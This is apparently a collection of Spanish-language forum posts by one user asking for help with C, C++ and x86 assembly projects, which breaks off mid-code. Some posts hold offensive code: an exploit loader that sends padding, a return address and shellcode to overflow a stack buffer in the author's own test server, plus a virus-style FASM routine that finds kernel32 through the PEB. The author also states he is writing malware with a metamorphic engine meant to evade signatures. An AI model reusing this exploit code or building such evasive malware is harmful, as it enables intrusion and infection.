Temas

https://alf.nu/ReturnTrue

Debo conseguir true desde una funcion que retorna  x != x

Intente con numeros pero siempre serán iguales en la comparacion. Alguna cosa matematica interesante que no sea igual a si misma? Gracias.

Hola, estoy intentando comprender la maquina de turing, pero no entiendo como procesa los datos.

Hasta donde sé, la maquina de turing es algo que lee/escribe en una cinta unos datos codificados por un alfabeto, dependiendo del estado interno en que se encuentre la maquina. Hace avanzar el puntero hacia la cinta, hacia delante o hacia atras (izquierda, derecha).

El alfabeto, por lo que he leido, es un conjunto de simbolos que denotan datos. Ej {0, 1}, en binario, para codificar las instrucciones y los datos.

Lo que no entiendo es como hacer para procesar los datos, ni tampoco donde tiene guardadas las instrucciones ni como se definen.

Por lo que he leido, parece ser que revisa una lista de estado y comprueba si el caracter leido coincide con alguno. Por favor, expliquenme más o menos de una forma más clara, evitando el formalismo matematico, o complementandolo.

Gracias. Mientras tanto seguiré leyendo. Es solo por curiosidad, para entender eso de P vs NP.

[bloqueado]

Hola, amigos. Estoy desarrollando un procesador sencilo de 8 bits. Quiero ponerlo a calcular digitos de PI. Será que alguno de ustedes tiene un algoritmo de PI en ensamblador?? Ya encontré algunos en C pero no son muy exactos porque difieren de lo que hay en paginas.

¿Será que alguien puede brindarme un algoritmo que sea en ensamblador y que solo use enteros para calcular los digitos de PI?

Es que mi procesador todavía no va a soportar coma flotante.

Pueden escribir a mi correo bloqueado si quieren alguna cosa mas.

Gracias de antemano.

Hola, estoy haciendo un juego. Estoy iterando por una lista de clientes y cuando un valor coincida, es decir, cuando la busqueda encuentre el valor deseo cambiar alguna propiedad de él.

He intentado hacer lo siguiente:

Código (cpp) [Seleccionar] Expandir


it = lista.begin();
    player_node = (*it);
    player_node.position = vector3df(20, 20, 20);
    *it = player_node;


Pero no funciona. Por favor ayuda con eso. Ya lo he buscado pero no encuentro solucion. Gracias de antemano.

Hola, amigos. Estoy usando una lista STL. Tengo una estructura llamada player, cuya definicion es:

Código (cpp) [Seleccionar] Expandir


struct player{
    SOCKET player_connection;
    vector3df position;
    vector3df rotation;
    int life;
};


El problema está al crear un iterador:

Código (cpp) [Seleccionar] Expandir


list<struct player>::const_iterator it;


Al compilarlo me detecta un error del tipo:

error: reference to 'list' is ambiguous|

Pruebo con un tipo de dato mas simple, como un SOCKET o un int, y funciona. ¿Por que ocurre eso?

Mientras tanto iré buscando tambien en otros sitios. Gracias de antemano.

Hola, amigos, estoy haciendo pequeños experimentos, y necesito leer un archivo.

Resulta que el codigo lo que hace es cargar el archivo en una memoria dinamica a traves de un puntero, pero al usar fread capta algo como "COM;<" al final del archivo, cosa que no es verdad.

No sé de donde aparece, pero les dejo el codigo, por si pueden ayudar, gracias.

Código (c) [Seleccionar] Expandir


///This program receives a list of files in a text file, and glue togheter with a plus:
///all are compressed. The program can extract one file if the user wants it. The package
///can not be modified.

#include <stdio.h>
#include <stdlib.h>

struct package_header{
   int magic_number; //0xDEADBEFF;
   int number_of_files_stored;
};

struct file_entry{
   char file_name[64];
   int file_start;
   int file_size;
};

int main(int argc, char *argv[])
{
   if(argc < 2){
       printf("Usage: mesa-pack.exe <list of files to package.txt>\n");
   }

   FILE *list_of_files;
   FILE *package;
   int filesize;
   char *content;
   char *token;

   list_of_files = fopen(argv[1], "rb");
   if(list_of_files == NULL){
       printf("File list is damaged or computer unexpected error while opening file. Try again.\n");
       return -1;
   }

   fseek(list_of_files, 0, SEEK_END);
   filesize = ftell(list_of_files);
   fseek(list_of_files, 0, SEEK_SET);

   content = (char *)calloc(filesize, sizeof(char));

   //memset(content, 0, filesize);


   fread((char *) content, filesize, 1, list_of_files);

   printf("filesize = %d\n", filesize);
   printf("File content: %s\n", content);

   printf("Showing list of files to package...\n\n");
   token = strtok(content, "\n");
   while(token != NULL){
       printf("token = %s\n", token);
       token = strtok(NULL, "\n");

   }

   free(content);


   return 0;
}



http://subefotos.com/ver/?dba9f455a39df69e79173249a0764a0fo.jpg

Hola, estoy haciendo un programa que crea archivos bmp de las dimensiones que yo quiera, y lo rellene en gris, y listo. El programa para las dimensiones 100x100 funciona, pero más allá falla algunas veces, principalmente si es más de 1000;

¿Pueden decirme como eliminar ese error que dice SIGSEV en chkstk_ms()??
¿Es mi codigo o sólo el compilador?

Si uso valores en WIDTH Y HEIGHT de 100, todo normal. Si me paso a 10000, se tranca y devuelve en depuracion SIGSEV en un chkstk_ms(), y ni muestra el primer printf. ¿Debo reinstalar el compilador o algo así? Al menos el error debería ser puntual, y no general.

Gracias de antemano.

Código (cpp) [Seleccionar] Expandir


#include <iostream>
#include <strings.h>
#include <stdlib.h>
#include <stdio.h>

#define WIDTH 10000
#define HEIGHT 10000

///DONE:
///     Mas o menos crea la imagen.
///     Cuando se pasa de 1000 ambos, ocurre una falla.
///     del tipo Violacion de Segmento.

///Error oculto solucionado: No consideraba las iniciales BM (2 bytes) al tamaño
///del archivo, muy importantes.

///TO-DO:
///     -Fill the image with interesting data.

///     -El programa lo unico que debe hacer es soportar colorear de azul,
///     un cuadro de 1000, pixeles.

///     -Hay un problema con lo que significa el manejo del formato, en si mismo
///     -No puedo exceder los 1000px, debe ser algo relacionado con el padding.

///     -Si grabó tal cual se le asignaron los valores a la matriz,
///      por tanto el error es de interpretacion. La escritura está bien.
///      aprender como manejar los bytes y dibujar un cuadrado, o algo así.
///     -Si soportó el array de bmp_pixeles, pero grabó basura
///     -Sin embargo, el formato quedó intacto.

using namespace std;

char bmp_sign[2] = {'B', 'M'}; /// = "BM";

struct bmp_format{

   unsigned int filesize; /// = filesize
   unsigned short reserved_a; /// = 0;
   unsigned short reserved_b; /// = 0;
   unsigned int start_of_data_image; /// = 54
   unsigned int bitmap_header_size;

   unsigned int width;
   unsigned int height;
   unsigned short number_of_planes;
   unsigned short bits_per_pixel;// = 1;

   unsigned int compression; /// = 0;
   unsigned int size_of_image; /// = 0;
   unsigned int horizontal_resolution; /// = 0
   unsigned int vertical_resolution; /// = 0;
   unsigned int size_of_color_palette;
   unsigned int counter_of_interesting_colors;
};

struct bmp_pixel{
   unsigned char red;
   unsigned char green;
   unsigned char blue;
};

int main()
{
   FILE *bmp_file;
   FILE *debug_image;
   FILE *debug_binary;

   printf("Abriendo archivos bmp y debug respectivos\n");
   bmp_file = fopen("C:\\output.bmp", "w+b");
   //debug_image = fopen("C:\\image_in_bin.hex", "w+b");
   //debug_binary = fopen("C:\\memory_in_bin.hex", "w+b");

   bmp_format bmp_format;
   memset(&bmp_format, 0, sizeof(bmp_format));
   printf("Estableciendo bmp format a NULL para mantenerlo limpio\n");

   unsigned int number_of_data_bytes;

   ///Initializing data
   ///TO-DO: Design a better method to adjust values than
   ///hard-code it.

   bmp_format.start_of_data_image = 54;
   bmp_format.bitmap_header_size = 40;
   bmp_format.width = WIDTH;
   bmp_format.height = HEIGHT;
   bmp_format.number_of_planes = 1;
   bmp_format.bits_per_pixel = 24;
   bmp_format.compression = 0;
   bmp_format.size_of_image = number_of_data_bytes;
   bmp_format.horizontal_resolution = 0;
   bmp_format.vertical_resolution = 0;
   bmp_format.size_of_color_palette = 0;
   bmp_format.counter_of_interesting_colors = 0;

   ///TODO: This value must have a formule:
   ///     -bmp_header + ([width * height] * 3 bytes of rgb)
   ///TODO: Use it over hardcoded values.
   number_of_data_bytes = (WIDTH * HEIGHT) * 3;
   bmp_format.filesize = 2 + sizeof(bmp_format) + number_of_data_bytes;

   printf("Ya fueron rellenados todos los campos de bmp format!!\n");

   fwrite((char *) &bmp_sign, 2, 1, bmp_file);
   fwrite((char *) &bmp_format, sizeof(bmp_format), 1, bmp_file);

   printf("Grabando bmp format + la señal de BM\n");

   /*struct bmp_pixel pixeles[WIDTH][HEIGHT];
*/

   char pixeles[WIDTH * HEIGHT * 3];
   for(int i = 0; i < number_of_data_bytes; i++){
       pixeles[i] = 0x50;
   }

/*
   ///Clear pixeles and zero it to avoid filter my
   ///system data on memory swap.
   memset(pixeles, 0, sizeof(pixeles));

   for(int e = 0; e < WIDTH; e = e + 5){
       for(int i = 0; i < HEIGHT; i++){
           pixeles[i][e].blue = 0xDE;
           pixeles[i][e].red = 0xAD;
           pixeles[i][e].green = 0xff;
       }
   }*/

   ///fwrite((char *) pixeles, number_of_data_bytes, 1, debug_image);
   ///fwrite((char *) pixeles, number_of_data_bytes, 1, debug_binary);
   ///fwrite((char *) pixeles, (WIDTH * HEIGHT * 3), 1, bmp_file);

   fclose(bmp_file);
   cout << "Dibujador de BMP. En progreso y con futuro." << endl;
   return 0;
}


Hola. Edito mi pregunta para ser más preciso: Mi duda es: Puede el compilador agregar algo "de más" entre variables de la stack???

Tengo un Tiny C Compiler, sin protecciones ni a nivel de compilador ni a nivel de Windows XP.

Puede ser que algo llamado "alignment" esté haciendo fallar mi exploit?? He enviado la cantidad de bytes necesarios para desbordar mi propio TCP server. Cuando el buffer destino es de 20 bytes, funciona. Pero si es de 60, no lo hace.

Y estoy enviando la cantidad de bytes necesarios para desbordarlos + la shellcode, así, que en teoría debería hacer lo que quiero, pero en la práctica salta hacia un ret addr extraño.

Adjunto links a un sitio de tipo pastebin, para no abrumar aqui en el foro.
Aqui les dejo mis codigos fuente:

Todos ellos funcionan si el buffer small es de 20 y el big de 30. Cambiando el valor de ambos por 60 y 120, no funcionan. Ahi están mis sources, por si alguien los quiere ver.

(Uso winsock2.h, si alguna cosa lo renombran sin el 2)

Mi TCP server (source escrito por mi)
http://tny.cz/2dc66ee0

Mi TCP exploit
http://tny.cz/dc9295ba

Mi shellcode
http://tny.cz/c4426347

Aqui está el programa objetivo, ya compilado, a peticion de un usuario. Para que no digan que es que uno quiero que resuelvan por mi.
https://drive.google.com/file/d/0Bxshgu4STp1aUXpsYmMySWhqS3c/view?usp=sharing

Gracias de antemano por su atencion.

[EDIT 1:]

Hola, estoy tratando de aprender sobre los stack-based buffer overflows, y para ello he construido mi propio programa vulnerable. Estoy teniendo problemas. Estoy tratando de jugar con la direccion de retorno para hacer ejecutar funciones que nunca son llamadas. Pero no puedo conseguirlo bien.

El programa vulnerable, recibe una cadena desde el usuario de 16 bytes, y luego la copia en un buffer de 8 bytes usando strcpy. He escrito un exploit sencillo, al cual le indicas cuantos bytes inutiles deseas, y luego la direccion de retorno en hexadecimal.

Pero cuando sobreescribo la funcion de retorno, solo una funcion se ejecuta, las demas (sabiendo su direccion) no lo hacen. ¿Por que sucederá eso? ¿Puede alguien explicarme como sobreescribir bien la direccion de retorno?

Exploit.c

Código (c) [Seleccionar] Expandir


/*Simple Exploit loader

   usage: exploit.exe <trash_bytes> <ret addr>

   Recibe la cantidad de bytes inutiles necesario para desbordar el buffer
   y usa la direccion de retorno en hexadecimal, convertida a un binario
   plano en un int de 4 bytes, y enviado al revés (por ser little endian, o
  al menos eso pensé cuando lo cree)

*/

#include <stdio.h>
#include <stdlib.h>

union ret_addr{
   char bytes[4];
   unsigned int raw;
};

int load_file_on_buffer(char filename[], void **ptr_buffer_destiny){
   FILE *file_loaded;
   void *buffer_destiny;
   unsigned int file_size;

   file_loaded = fopen(filename, "rb");
   if(file_loaded == NULL)
       return 0;

   fseek(file_loaded, 0, SEEK_END);
   file_size = ftell(file_loaded);
   fseek(file_loaded, 0, SEEK_SET);

   buffer_destiny = (void *) malloc(file_size+1);
   *ptr_buffer_destiny = buffer_destiny;

   fread((char *) buffer_destiny, file_size, 1, file_loaded);
   buffer_destiny[file_size] = '\0';

   //printf("BEGIN DEBUG FILE\n");
   //printf("%s", buffer_destiny);
   //printf("\n\nEND DEBUG FILE\n");

   fclose(file_loaded);

   return file_size;

}

int main(int argc, char *argv[]){

   FILE *shellcode_file;
   char *shellcode;
   int file_size;

   int trash_bytes = atoi(argv[1]);
   union ret_addr ret_addr;
   ret_addr.raw = (unsigned int) strtol(argv[2], NULL, 16);

   int i = 0;
   for(i; i < trash_bytes; i++){
        printf("a");
   }

   if(argc == 3){
   printf("%c", ret_addr.bytes[3]);
printf("%c", ret_addr.bytes[2]);
printf("%c", ret_addr.bytes[1]);
printf("%c", ret_addr.bytes[0]);
}

   file_size = load_file_on_buffer("shellcode.bin", &shellcode);

   for(i = 0; i < file_size; i++){
        printf("%c", shellcode[i]);
   }

}


Gracias de antemano. No sé si habrá algo mal con mi exploit. Ya me he estado leyendo la stack y como funciona. Seguire buscando en internet....

EDIT 1:

Estoy jugando con un programa tipo TCP servidor hecho por mi mismo, y en vez de sobreescribir EIP, sobreescribo EDX. ¿Puede alguien decirme por qué? Gracias de antemano.

Hola. Estoy desarrollando algo que podría llamarse "shell remota" porque recibe comandos desde una máquina externa. En realidad es una computadora que está a la escucha de comandos, los interpreta y devuelve un resultado.

El problema está en que yo quiero recibir los carácteres recibidos como un bloque, es decir, como un comando completo. Pero cuando lo intento, pareciera ser que voy recibiendo byte a byte, en vez de toda la informacion transmitida.

Por favor, si pueden ayudarme estaría muy agradecido. Adjunto el código para que vean que el receptor no puede interpretar el comando "ATTACK".

Código (cpp) [Seleccionar] Expandir


/* Enlazar Ws2_32 */
#define _WIN32_WINNT 0x0501
#include <stdio.h>
#include <winsock2.h>
#define PUERTO 8080

WSADATA wsa_data;
SOCKET listen_socket, cliente;
struct sockaddr_in clientinfo, servicio;
int rtn;
char buffer[256];

void print_buffer(char *buffer, unsigned int bytes) {
    while(bytes--)
        putchar(*buffer++);

}

int main() {
    if ((rtn = WSAStartup(MAKEWORD(2,2), &wsa_data)) != 0) {
        fprintf(stderr, "Error WSAStartup: %d\n", rtn);
        return 1;
    }

    if((listen_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
        fprintf(stderr, "Error en socket: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }

    servicio.sin_family = AF_INET;
    servicio.sin_addr.S_un.S_addr = INADDR_ANY;
    servicio.sin_port = htons(PUERTO);

    if((rtn = bind(listen_socket, (struct sockaddr*) &servicio, (int) sizeof(servicio))) == SOCKET_ERROR) {
        fprintf(stderr, "Error en bind: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }

    if (listen(listen_socket, SOMAXCONN) == SOCKET_ERROR) {
        fprintf(stderr, "Error en listen: %d\n", WSAGetLastError());
        closesocket(listen_socket);
        WSACleanup();
        return 1;
    }

    if((cliente = accept(listen_socket, (struct sockaddr*)&clientinfo, NULL)) == INVALID_SOCKET) {
        fprintf(stderr, "Error en accept: %d\n", WSAGetLastError());
        closesocket(listen_socket);
        WSACleanup();
        return 1;
    }

    closesocket(listen_socket);

    printf("Cliente IP: %s\n", inet_ntoa(clientinfo.sin_addr));

    do {
        rtn = recv(cliente, buffer, sizeof(buffer), 0);

        if(rtn > 0) {
            print_buffer(buffer, rtn);
            if(strcmp(buffer, "ATTACK") == 0){
                printf("ATTACK COMMAND ISSUED!!\n");
            }
        } else if(rtn == 0)
            printf("Cerrando la conexión...\n");
        else {
            fprintf(stderr, "Error en recv: %d\n", WSAGetLastError());
            closesocket(cliente);
            WSACleanup();
            return 1;
        }
    } while(rtn > 0);

    closesocket(cliente);
    WSACleanup();

    return 0;
}



Hola. Estoy aprendiendo algo sobre los Arboles B, una estructura de datos. No sé si este sea el sitio adecuado, pero tengo varias interrogantes acerca de ese Arbol:

No entiendo como cuál es la lógica que sigue el arból. Entiendo bien los términos de nodos hijos y nodos padres, pero no entiendo como funciona. ¿Puede alguien darme una explicacion un poco más sencilla que las que aparecen en internet? Por si acaso, seguiré buscando...

¿Los nodos de izquiera a derecha, van de menor valor a mayor?



Gracias por su ayuda.

Hola, estoy desarrollando una aplicacion sencilla que usa bases de datos SQLite en C/C++. Al hacer la consulta que crea una TABLA si no existe, la aplicacion hace una VIOLACION DE MEMORIA. He estado revisando con el depurador, pero no lo he podido conseguir.

No encontre un subforo adecuado para este tema, así que lo posteé aquí. Disculpen si aquí no iba. XD. El código es el siguiente:

Código (cpp) [Seleccionar] Expandir


#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sqlite3.h>

///Global variables
sqlite3 *db;
char *zErrMsg = 0;
int rc;
char sql[128];

   ///Used to extract interesting data from callbacks.
int number_of_rows_fetched;
int money;
int money2;
const char *data = "Callback function called!!\n";

///This function is called each time that a row if found.
///The only way to keep tracking how many rows has the table,
///it's increasing the counter.
static int callback(void *data, int argc, char **argv, char **azColName){
   printf("Callback is running!!\n");
   
   return 0;
}


int init(){

    ///Open database
   rc = sqlite3_open("bank.db", &db);
   if(rc != SQLITE_OK){
      fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
      exit(0);
   }else{
      fprintf(stderr, "Opened database successfully\n");
   }



   ///Create Table if it doesn't exist
   memset(sql, 0, sizeof(sql));
   strcat(sql, "CREATE TABLE accounts("  \
         "id INT            NOT NULL," \
         "username           TEXT    NOT NULL," \
         "password           TEXT    NOT NULL," \
         "cash               INT);");

   ///Run query
   rc = sqlite3_exec(db, sql, callback, 0, &zErrMsg);
   printf("After the crash, i still alive\n");
   if( rc != SQLITE_OK ){
   fprintf(stderr, "SQL error: %s\n", zErrMsg);
      sqlite3_free(zErrMsg);
   }else{
      fprintf(stdout, "Table created successfully\n");
   }

}

int main(int argc, char* argv[])
{

   init();

   return 0;
}



Realmente he tenido dudas sobre si este tópico iría en este subforo, pero como no encuentro algo relacionado con Bases de Datos directamente, quise postearlo aqui.

Gracias de antemano.

Hola, amigos. Estoy desarrollando una aplicacion de login que permite la creacion de nuevos usuarios. Para hacerlo, primero debe saber si ya existe, antes de insertarlo.

He estado buscando en la web, y aparecen algunos métodos, pero siempre son aplicados a lenguajes diferentes a C/C++. Usan Java, y demás, y esas soluciones no son convertibles a C++.

Estoy usando la libreria de SQlite en C/C++. Pero no consigo obtener algo que me pueda ayudar a saber si ya existe un registro.

Intenté hacer un SELECT para que retorne los usarios existentes bajo ese nick, y luego medir la cantidad de resultados, si es mayor a 0, existe. Pero no he podido implementarlo en C/C++, no consigo como hacerlo.

Gracias de antemano. Seguiré buscando en otras fuentes también...

[¿Podría alguien ayudarme a solucionar mi problema, o darme una mejor idea de como hacerlo? Gracias de antemano]

Hola, amigos. Estoy desarrollando un programa que rellena las casillas de un array con una X según la posicion y las ordenes que se indiquen desde un fichero de texto que actúa como script.

En cuanto al programa, mi único problema está en la parte en donde interpreta los scripts.

Voy dividiendo linea por linea usando strtok(...), y hasta ahí todo bien. Copio el contenido del puntero que devuelve strtok hacia un buffer de 16 caracteres para no tener que preocuparme por cosas raras con punteros.

El problema viene cuando intento usar strcmp(...) para ver si la linea actual coincide con la instruccion "fill" o "inc_x". Cuando lo hace, el programa crashea.

¿Podría alguien ayudarme a solucionar mi problema, o darme una mejor idea de como hacerlo? Gracias de antemano

Código (cpp) [Seleccionar] Expandir


#include <stdio.h>
#include <stdlib.h>

#define NROWS 5//32
#define NCOLUMNS 5//32
int parse_script(char filename[]){
   unsigned int x = 0;
   unsigned int y = 0;
   char array[NROWS][NCOLUMNS];
   unsigned int file_size;
   unsigned int i = 0;

   FILE *script_file;
   char *script_content;
   char *current_line;
   char current_instruction[16];

   for(x = 0; x < NCOLUMNS; x++){
       for(y = 0; y < NROWS; y++){
           array[x][y] = 'O';
       }
   }

   ///First step, read all file content before preprocess it.
   script_file = fopen(filename, "r");

   ///If all is good, get the size of file
   fseek(script_file, 0, SEEK_END);
   file_size = (unsigned long ) ftell(script_file);
   rewind(script_file);

   ///Resize the array to the size of file
   script_content = (char *) calloc (1, (size_t) file_size);

   ///Read the data from the file and put it in the array
   fread((char *)script_content, file_size, 1, script_file);    ///Last step: Free resources

   ///Second step: Execute instruction by instruction
   ///The program must divide the content in lines using \n
   x = 0;
   y = 0;
   char delimiters[] = "\r\n";
   current_line = strtok((char *) script_content, delimiters);//argumentos: frase, caracter delimitador
   while(current_line != NULL)
   {

      strncpy(current_instruction, current_line, 16);
      printf("%s \n", current_line);

      ///Here, the program must analyze the instruction and take an action
      if(strcmp("fill", current_instruction) == 0){
           array[x][y] = 'X';
       
      }

      if(strcmp("inc_x", current_instruction) == 0){
           x++;
           
      }

      current_line = strtok(NULL, delimiters);
   }

   ///Third step: Show array.
   printf("\nThe content of the array is: \n");
   for(x = 0; x < NCOLUMNS; x++){
       for(y = 0; y < NROWS; y++){
           printf("%c", array[x][y]);
           printf(" ");
       }
       printf("\n");

   }
   printf("End of array. Thanks for use my program\n");

   free(script_content);
   fclose(script_file);
}

int main(int argc, char *argv[])
{
   if(argc < 2)
       return -1;

   

   if(strcmp(argv[1], "-w") == 0){
       parse_script(argv[2]);
       return 0;
   }

   printf("Invalid command!!\n");

   return 0;
}



Fichero de prueba usado (escribir su ruta en la linea de comandos como parametro despues del nombre del ejecutable):

Código (asm) [Seleccionar] Expandir


fill
inc_x


Hola, estoy desarrollando un motor metamorfico. Sé que es algo dificil, pero si uno no empieza no acaba nunca. XD.

Bueno, el problema es el siguiente: Necesito ayuda sobre como generar las instrucciones equivalentes: Imaginemos que tengo un:

Código (asm) [Seleccionar] Expandir


;En sintaxis FASM
mov [variable], eax


Podría ser reemplazado por un:

Código (asm) [Seleccionar] Expandir


;En sintaxis FASM
push eax
pop [variable]


¿Como podría lograr eso? Tengo una idea, pero no sé si será la mejor opción:

• Analizar el source y el destino
• Aplicar source a un push
• Aplicar destino a un pop

¿Será que alguien me puede dar una idea de como intercambiar las instrucciones? Ya he leído los manuales de Intel bastantes veces, y por lo menos lo básico lo entiendo. Quisiera una ayudadita, porque el tema de los motores metamorficos está algo díficil de implementar.

Gracias a todos de antemano.

Hola, amigos. ¿Como les ha ido? Tengo solo algunos conocimientos sobre el lenguaje C (No conozco mucho sobre C++).

Debido a eso tengo el siguiente problema: Tengo un puntero void que quiero convertir a unsigned char y obtener su valor (todo en la misma linea). Sin embargo, no he podido. ¿Será que alguien me puede ayudar?

Este es el codigo que tratado de hacer (Ya sé que ptr no apunta a ningun lado, pero es solo explicativo):

Código (c) [Seleccionar] Expandir



//Intento 1: Al parecer no me da el valor que quiero
void *ptr;
unsigned char temp;
temp = (unsigned char *) &ptr;

//Intento 2: El compilador no lo acepta.
void *ptr
unsigned char temp;
temp = (unsigned char) *ptr;



Ya he buscado por internet, pero no entiendo mucho sobre como hacer lo que expliqué antes. (El tema de los punteros se vuelve un poco enredado. XD).

Se supone que al aplicar * delante de un puntero, él debería devolver su valor. Entonces por qué el compilador no me acepta la segunda opcion???

Gracias a todos de antemano.

Hola, estoy creando un programa que necesita identificar un cierto patron de bits al inicio del byte. Por ejemplo: Si byte comienza con 10100xxx, ir al codigo tal.

Espero que haya explicado bien mi problema. La idea es saber si ciertos bits dentro de un byte están activados, e ignorar el resto. No sé como lograr eso. Quiero lograr comparar, por ejemplo, los primeros cinco bits contra un patron conocido. No quiero identificar solo un bit, quiero identificar un grupo de ellos.

Gracias por su ayuda.

Hola, estoy trabajando en un desensamblador para x86 (32 bits). Ya logré hacer la parte que identifica los prefijos. Pero tengo un problema, ahora estoy en la parte de decodificar los opcodes.

Al principio, he estado pensando en esta idea: Mantener una tabla con los opcodes, y comparar el byte actual contra la tabla. Y según cada caso, tomar la decision apropiada: Por ejemplo leer si hay un byte mod r/m, si tiene SIB, leer desplazamiento e immediate value (haciendo esto tras leer primero el mod r/m).

Y si no coincide con ningun opcode, declarar el byte desde donde se empezó a analizar la instruccion como basura.

Pero, he estado pensando que esa idea puede ser muy ineficiente, ¿será que alguien tiene una mejor manera de hacerlo?

Por ejemplo: En vez de comparar cada byte con una tabla, usar algun principio de generalizacion, por ejemplo: Si los primeros cuatro bits son 1001, es un mov. Luego analizar y determinar el mov especifico correspondiente (mover 8bits/16bits/32bits). ¿Será que es posible? ¿O esa es solo la unica manera?

PD: Ya he estado leyendo algunos sources de programas open source, pero muchos usan esa estrategia, al menos en apariencia. Los estoy leyendo a fondo.

Gracias de antemano.

Hola, estoy desarrollando un desensamblador, para luego integrarle un algoritmo que haga instrucciones equivalentes (motor metamorfico). ¿Será que aún tiene sentido usarlo en estos días, o estaré perdiendo el tiempo?

Estoy desarrollando un malware (solo por diversion. XD). Y no sé si estoy siguiendo los lineamientos correctos al tratar de protegerlo con medidas anti-patrones (para que no sean capaces de conseguir n sucesion de bytes en todos los archivos infectados, algo como 'INFECTED', no debería existir).

Por favor, ayudenme. Denme al menos una respuesta. Gracias por su ayuda.

Hola amigos, tengo un problema. Primero que nada describiré lo que intento hacer: Estoy desarrollando un desensamblador, especificamente este trozo de codigo trata sobre identificar los prefijos que poseen las instrucciones, y guardar en un archivo el prefijo encontrado. Este es un trozo resumido del codigo, y es donde está el problema.

Por ejemplo: Si yo llamo a la funcion show_prefixe(output_file, prefix_cs_override), la funcion trabaja bien, y imprime dentro del fichero la palabra "CS" tal como corresponde según mi tabla.

La funcion trabaja bien con todos los prefijos, excepto con los tres primeros: LOCK, REP y REPNE. No sé porque cuando llamo la funcion con los valores respectivos de cada uno, imprime "UNDEF" (caso por default si no consigue ningun case para ese valor). No entiendo porque toma el caso por default, si existen casos respectivos para cada prefijo (LOCK, REP, y REPNE)

He estado dando vueltas, pero aún no consigo ayuda. Espero que ustedes me ayuden a descifrar este misterioso problema. Aqui va el codigo.

Código (c) [Seleccionar] Expandir


#include <stdio.h>

///Prefixes lock and repeat (group one)

#define prefix_lock 0xF0
#define prefix_repne 0xF2
#define prefix_rep 0xF3

///Prefixes segmet override (group two)
#define prefix_cs_override 0x2E
#define prefix_ss_override 0x36
#define prefix_ds_override 0x3E
#define prefix_es_override 0x26
#define prefix_fs_override 0x64
#define prefix_gs_override 0x65

///Branch hints goes here.

///Operand-size override (group three)
#define prefix_operand_size_override 0x66

///Address-size override (group four)
#define prefix_address_size_override 0x67



int show_prefixe(FILE *my_output, char prefix){
    switch(prefix){
        case prefix_lock:
            fprintf(my_output, "LOCK ");
            break;
        case prefix_repne:
            fprintf(my_output, "REPNE ");
            break;
        case prefix_rep:
            fprintf(my_output, "REP ");
            break;
        case prefix_ss_override:
            fprintf(my_output, "SS ");
            break;
        case prefix_cs_override:
            fprintf(my_output, "CS ");
            break;
        case prefix_ds_override:
            fprintf(my_output, "DS ");
            break;
        case prefix_es_override:
            fprintf(my_output, "ES ");
            break;
        case prefix_fs_override:
            fprintf(my_output, "FS ");
            break;
        case prefix_gs_override:
            fprintf(my_output, "GS ");
            break;
        case prefix_operand_size_override:
            fprintf(my_output, "OP ");
            break;
        case prefix_address_size_override:
            fprintf(my_output, "ADDR ");
            break;
        default:
            fprintf(my_output, "UNDEF ");
            break;
    }
}

int main()
{
    FILE *output;
    output = fopen("C:\\prefix.asm", "wb");
    show_prefixe(output, prefix_rep);
    fclose(output);
    return 0;
}



¿Será que el compilador tiene bugs? No sé, lo pregunto porque no estoy usando la ultima version, solo estoy usando la previa a la ultima. No sé realmente que ocurre.

Gracias de antemano por su ayuda.

Hola, amigos. Estoy desarrollando un pequeño desensamblador en ensamblador (suena algo redundante, pero no lo es). Tengo una duda. Antes que nada, quiero decir que ya estoy leyendo los manuales de Intel y revisando páginas en internet. (Para que no digan que no investigo).

El problema es el siguiente: Digamos tengo una instruccion X. ¿Como hago para saber si el primer byte que tengo en frente es un opcode en puro, un prefijo, o un opcode extendido?. Antes yo había tratado comparando el byte inicial con los valores asignados por Intel a los prefijos x86, pero ¿que pasa si la instruccion, de casualidad posee el mismo valor en hexadecimal que el prefijo?.

Ah, ¿Será que alguien me puede aclarar si los prefijos cumplen el siguiente orden?



¿Y como hago para reconocer si debería ser un prefijo? Por que según Intel, los prefijos pueden ir en cualquier orden dentro de los 4 primeros bytes (me refiero, LOCK a veces preceder a un SEGMENT OVERRIDE o viceversa=. (Aunque la imagen anterior pareciera decirme lo contrario)

Intel says:
Groups 1 through 4
may be placed in any order relative to each other.

Si alguien pudiera darme una mano con este problema, estaría muy agradecido. Sé que este tema es algo bastante extenso, pero pienso que aquí al menos podría recibir al menos una orientación. ¿o no? XD.

¿Será que alguien tiene un fragmento de codigo, que sea capaz de reconocer cuando el primer byte es un prefijo o un opcode? Gracias.

Hola, estoy desarrollando un programa. El programa busca las APIs sin usar la import table, él programa usa GetProcAddress y LoadLibrary para encontrar todas las APIs que necesita. Pero hay un problema: NO LLAMA A MI EXCEPTION HANDLER CUANDO HAY UNA EXCEPCION!!

El codigo, debería mostrar un mensaje "Exception catched!!" cuando haya una excepcion. Pero el programa sale sin más, aunque curiosamente, no crashea. Aún así la idea es que llame a mi manejador de excepciones, cosa que no hace

Aquí está mi codigo. Está escrito en FASM

Código (asm) [Seleccionar] Expandir




format pe console 4.0

section '.text' readable writable executable

start:
   call delta_offset       ;Calculates the delta offset

delta_offset:
   pop ebp                 ;Save the current address of the delta_offset routine in memory
   sub ebp, delta_offset   ;Current address of delta_offset ´- address of delta_offset at compilation time
                           ;is equal to current address of virus body in memory. Now we can access any part of
                           ;data embebbed in the code using [ebp+variable]

finding_kernel32:
mov ebx, [FS : 0x30]        ;FS:0x30 is a pointer to the address of Process Environment Block (PEB)
                               ;Now the Base Pointer (BX) points to the address of PEB in memory

mov ebx, [ebx + 0x0C]       ;Now we move 0x0C (12 bytes) from the address of PEB
                               ;We get the value of ebx+0x0c, in other words, the address that has the PEB->Ldr pointer

                               ;Now we are in Ldr structure. We move the ebx pointer following the address in the
                               ;PEB->Ldr pointer.

mov ebx, [ebx + 0x14]       ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov ebx, [ebx]            ;2nd Entry
mov ebx, [ebx]            ;3rd Entry
mov ebx, [ebx + 0x10]   ; Get Kernel32 Base
mov [ebp+dwKernelBase] , ebx
add ebx, [ebx+0x3C] ; Start of PE header
mov ebx, [ebx+0x78] ; RVA of export dir
add ebx, [ebp+dwKernelBase]  ; VA of export dir
mov [ebp+dwExportDirectory] , ebx

finding_address_of_getprocaddress:
lea edx,[ebp+api_GetProcAddress]    ;Load in ebp the address of the API function name.
